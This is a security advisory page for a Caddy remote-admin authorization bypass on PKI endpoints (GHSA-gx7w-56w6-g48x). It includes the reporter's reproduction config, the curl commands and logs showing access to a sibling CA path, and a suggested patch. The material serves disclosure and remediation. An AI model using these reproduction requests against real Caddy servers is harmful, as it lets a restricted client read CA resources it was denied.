GHSA-gx7w-56w6-g48x: Caddy Remote Admin Authorization Bypass On Vulnerability
MODERATEGHSA-gx7w-56w6-g48x is a MODERATE (CVSS 4.3) remote admin authorization bypass on vulnerability (CWE-863: Incorrect Authorization) affecting Caddy libraries in the Go ecosystem. The issue involves remote admin authorization bypass on pki endpoints via prefix-based path matching. Remediation is available by upgrading affected packages to version 2.11.3.
GHSA-gx7w-56w6-g48x at a Glance
Security Impact
CVSS: 4.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).
How to Fix GHSA-gx7w-56w6-g48x
To remediate this vulnerability, upgrade all affected Caddy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/caddyserver/caddy/v2 to 2.11.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/caddyserver/caddy/v2
How to Check if You Are Affected
To determine whether your application is affected by GHSA-gx7w-56w6-g48x, inspect your project dependencies for Caddy:
inspect dependencies for github.com/caddyserver/caddy/v2
Analyze the terminal output to locate any version of Caddy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.3), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Caddy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-gx7w-56w6-g48x Affected Caddy Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/caddyserver/caddy/v2
|
Go |
< 2.11.3
|
2.11.3
|
References
Frequently Asked Questions
What is GHSA-gx7w-56w6-g48x?
Which Caddy versions are affected?
What version fixes GHSA-gx7w-56w6-g48x?
Is github.com/caddyserver/caddy/v2 affected?
What is the CVSS score of GHSA-gx7w-56w6-g48x?
What CWE is associated with GHSA-gx7w-56w6-g48x?
How can I check Go dependencies for GHSA-gx7w-56w6-g48x?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gx7w-56w6-g48x",
"modified" : "2026-05-19T19:36:13Z",
"published" : "2026-05-19T19:36:13Z",
"aliases" : [ ],
"summary" : "Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching",
"details" : "## AI Disclosure\n\n I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.\n I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`.\n\n ## Summary\n\n Caddy's remote admin access control performs path authorization using prefix matching:\n\n - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)`\n\n This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`.\n\n This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.\n\n ## Affected Component\n\n Remote admin access control for PKI admin endpoints.\n\n Relevant code:\n\n - [`admin.go`](/caddy/admin.go#L687)\n - [`admin.go`](/caddy/admin.go#L719)\n - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68)\n - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164)\n\n ## Root Cause\n\n In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this:\n\n ```go\n for _, allowedPath := range accessPerm.Paths {\n \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n \t\tpathFound = true\n \t\tbreak\n \t}\n }\n```\n\n This does not enforce a path-segment boundary.\n\n So if the allowed path is:\n\n /pki/ca/prod\n\n then all of the following are treated as authorized:\n\n - /pki/ca/prod-backup\n - /pki/ca/prod1\n - /pki/ca/prodanything\n\n For PKI admin endpoints, the CA ID is taken directly from the request path:\n\n - modules/caddypki/adminapi.go:164\n\n So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.\n\n ## Security Impact\n\n A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.\n\n This breaks least-privilege remote admin policies and results in authenticated authorization bypass.\n\n ## Minimal Configuration\n\n File: repro.json\n```\n {\n \"admin\": {\n \"listen\": \"127.0.0.1:2019\",\n \"identity\": {\n \"identifiers\": [\"localhost\"],\n \"issuers\": [\n { \"module\": \"internal\" }\n ]\n },\n \"remote\": {\n \"listen\": \"127.0.0.1:2021\",\n \"access_control\": [\n {\n \"public_keys\": [\"<CLIENT_CERT_BASE64_DER>\"],\n \"permissions\": [\n {\n \"methods\": [\"GET\"],\n \"paths\": [\"/pki/ca/prod\"]\n }\n ]\n }\n ]\n }\n },\n \"apps\": {\n \"pki\": {\n \"certificate_authorities\": {\n \"prod\": {\n \"name\": \"prod\"\n },\n \"prod-backup\": {\n \"name\": \"prod-backup\"\n }\n }\n }\n }\n }\n\n```\n ## Reproduction Steps From Scratch\n\n ### 1. Generate a client certificate\n```\n openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n -subj '/CN=remote-admin-client' \\\n -keyout client.key \\\n -out client.crt\n\n```\n\n ### 2. Convert the client certificate to base64 DER\n\n CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d '\\n')\"\n\n ### 3. Put that value into repro.json\n\n Replace:\n\n <CLIENT_CERT_BASE64_DER>\n\n with the value of CLIENT_CERT_B64.\n\n ### 4. Run Caddy\n\n go run ./cmd/caddy run --config ./repro.json\n\n ### 5. Confirm access to the intended allowed path\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod\n```\n Expected result:\n\n - HTTP/1.1 200 OK\n\n ### 6. Request a different CA whose path shares the same prefix\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod-backup\n```\n Expected secure behavior:\n\n - HTTP/1.1 403 Forbidden\n\n Actual behavior:\n\n - HTTP/1.1 200 OK\n\n ## Precise HTTP Requests and Output\n\n ### Allowed path\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod\n```\n Response excerpt:\n```\n > GET /pki/ca/prod HTTP/1.1\n > Host: localhost:2021\n > User-Agent: curl/8.5.0\n > Accept: */*\n >\n < HTTP/1.1 200 OK\n < Content-Type: application/json\n```\n ### Unauthorized sibling path that is incorrectly allowed\n```\n curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2021/pki/ca/prod-backup\n```\n Response excerpt:\n```\n > GET /pki/ca/prod-backup HTTP/1.1\n > Host: localhost:2021\n > User-Agent: curl/8.5.0\n > Accept: */*\n >\n < HTTP/1.1 200 OK\n < Content-Type: application/json\n```\n The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.\n\n ## Full Log Output\n\nsever :\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json\n2026/03/19 13:58:13.747\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/19 13:58:13.747\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/19 13:58:13.747\tINFO\tusing config from file\t{\"file\": \"/caddy/repro.json\"}\n2026/03/19 13:58:13.757\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2019\", \"enforce_origin\": false, \"origins\": [\"//localhost:2019\", \"//[::1]:2019\", \"//127.0.0.1:2019\"]}\n2026/03/19 13:58:13.757\tWARN\tpki.ca.prod\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod/root.crt\"}\n2026/03/19 13:58:13.757\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:13.757\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:14.406\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:14.406\tWARN\tpki.ca.prod-backup\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod-backup/root.crt\"}\n2026/03/19 13:58:14.407\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:14.407\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:15.038\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:15.045\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0006a4480\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2021\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.identity.obtain\tacquiring lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.046\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/19 13:58:15.046\tINFO\tserving initial configuration\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tlock acquired\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tobtaining certificate\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\tcertificate obtained successfully\t{\"identifier\": \"localhost\", \"issuer\": \"local\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\treleasing lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.050\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/19 13:59:36.896\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40728\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/19 14:00:24.102\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod-backup\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"60490\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/19 14:00:33.774\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod-backup\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46918\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n```\n\n\ncurl :\n```\nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2021/pki/ca/prod\n* Added localhost:2021:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2021...\n* Connected to localhost (127.0.0.1) port 2021\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 13:58:15 2026 GMT\n* expire date: Mar 20 01:58:15 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /pki/ca/prod HTTP/1.1\n> Host: localhost:2021\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Date: Thu, 19 Mar 2026 13:59:36 GMT\n< Content-Length: 1410\n< \n{\"id\":\"prod\",\"name\":\"prod\",\"root_common_name\":\"prod - 2026 ECC Root\",\"intermediate_common_name\":\"prod - ECC Intermediate\",\"root_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\\n4LabLA==\\n-----END CERTIFICATE-----\\n\",\"intermediate_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact\nDQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6 curl -vk \\2CdQNYGrH10qYPhO\\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\\n-----END CERTIFICATE-----\\n\"}\n\n\nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# \nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2021:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2021/pki/ca/prod-backup\n* Added localhost:2021:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2021...\n* Connected to localhost (127.0.0.1) port 2021\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 13:58:15 2026 GMT\n* expire date: Mar 20 01:58:15 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /pki/ca/prod-backup HTTP/1.1\n> Host: localhost:2021\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Date: Thu, 19 Mar 2026 14:00:33 GMT\n< Content-Length: 1476\n< \n{\"id\":\"prod-backup\",\"name\":\"prod-backup\",\"root_common_name\":\"prod-backup - 2026 ECC Root\",\"intermediate_common_name\":\"prod-backup - ECC Intermediate\",\"root_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBjjCCATWgAwIBAgIQT1WaOdq8CllHL5S6sAnk8TAKBggqhkjOPQQDAjAmMSQw\\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\\nODEzWhcNMzYwMTI2MTM1ODEzWjAmMSQwIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIw\\nMjYgRUNDIFJvb3QwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT0+xx/GaeAr+/I\\nZcKDeqZ068wOshKbcqydNJauAgbip7i88d76qYyQr+X7ooMYcmRV445suZ0NHn00\\ndGIjpStZo0UwQzAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBATAd\\nBgNVHQ4EFgQU9oZZqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDRwAwRAIg\\ncXbK46l4eAyrW3y9sgUBcheutkytG0d2cqgD67HuqdQCICI8E2O42zfz1afR/Joj\\nalNeF17VljePo75gPjIOp5kv\\n-----END CERTIFICATE-----\\n\",\"intermediate_certificate\":\"-----BEGIN CERTIFICATE-----\\nMIIBtDCCAVmgAwIBAgIQFJSHXX6ao3EgdKjGdRXeiDAKBggqhkjOPQQDAjAmMSQw\\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\\nODEzWhcNMjYwMzI2MTM1ODEzWjApMScwJQYDVQQDEx5wcm9kLWJhY* Connection #0 to host localhost left intact\n2t1cCAtIEVD\\nQyBJbnRlcm1lZGlhdGUwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARbdjKxj1Ce\\n4iCF1dbKGgsob9jH29DiUow/0yNJ6Cb7IBh0mAKK0y/nU+C6IfcFBgFOmla8wHhI\\njyKVLy38Jb87o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB\\nADAdBgNVHQ4EFgQUescC8F6u/krP+iw9Uc2FpqrorG0wHwYDVR0jBBgwFoAU9oZZ\\nqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDSQAwRgIhANm2Zxrs2q6JI5B0\\nmMh4PWJM9ilOu/0C/jTMSK3otqEqAiEAor00ItWkpcgLpXI4lRbefzeTM+f8yr6V\\nXryCbtlyT38=\\n-----END CERTIFICATE-----\\n\"}\n\n```\n\n\n ## Why This Is Not Just Misconfiguration\n\n The configuration explicitly attempts to restrict access to:\n\n /pki/ca/prod\n\n The unsafe behavior is caused by Caddy's implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written.\n\n ## Suggested Fix\n\n Path authorization should allow:\n\n - exact match, or\n - subpath match only when the next character is /\n\n For example:\n```\n func pathAllowed(reqPath, allowedPath string) bool {\n \tif reqPath == allowedPath {\n \t\treturn true\n \t}\n \treturn strings.HasPrefix(reqPath, allowedPath+\"/\")\n }\n```\n This preserves intended access to subresources like:\n\n - /pki/ca/prod/certificates\n\n while correctly denying sibling resources like:\n\n - /pki/ca/prod-backup\n\n ## Working Patch\n\n```\n diff --git a/admin.go b/admin.go\n index 0000000..0000000 100644\n --- a/admin.go\n +++ b/admin.go\n @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error {\n \t\t\t\t\t\t// verify path\n \t\t\t\t\t\tpathFound := accessPerm.Paths == nil\n \t\t\t\t\t\tfor _, allowedPath := range accessPerm.Paths {\n -\t\t\t\t\t\t\tif strings.HasPrefix(r.URL.Path, allowedPath) {\n -\t\t\t\t\t\t\t\tpathFound = true\n +\t\t\t\t\t\t\tif r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+\"/\") {\n +\t\t\t\t\t\t\t\tpathFound = true\n \t\t\t\t\t\t\t\tbreak\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n\n\n```\n ## Why the Patch Works\n\n The patch changes authorization from naive prefix matching to segment-aware matching.\n\n This allows:\n\n - /pki/ca/prod\n - /pki/ca/prod/certificates\n\n but denies:\n\n - /pki/ca/prod-backup\n - /pki/ca/prod1\n\n which is consistent with the configured path policy.\n\n ## Suggested Regression Tests\n\n At minimum:\n\n 1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.\n 2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.\n 3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.\n 4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/caddyserver/caddy/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.11.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/caddyserver/caddy/security/advisories/GHSA-gx7w-56w6-g48x"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/caddyserver/caddy"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T19:36:13Z",
"nvd_published_at" : null
}
}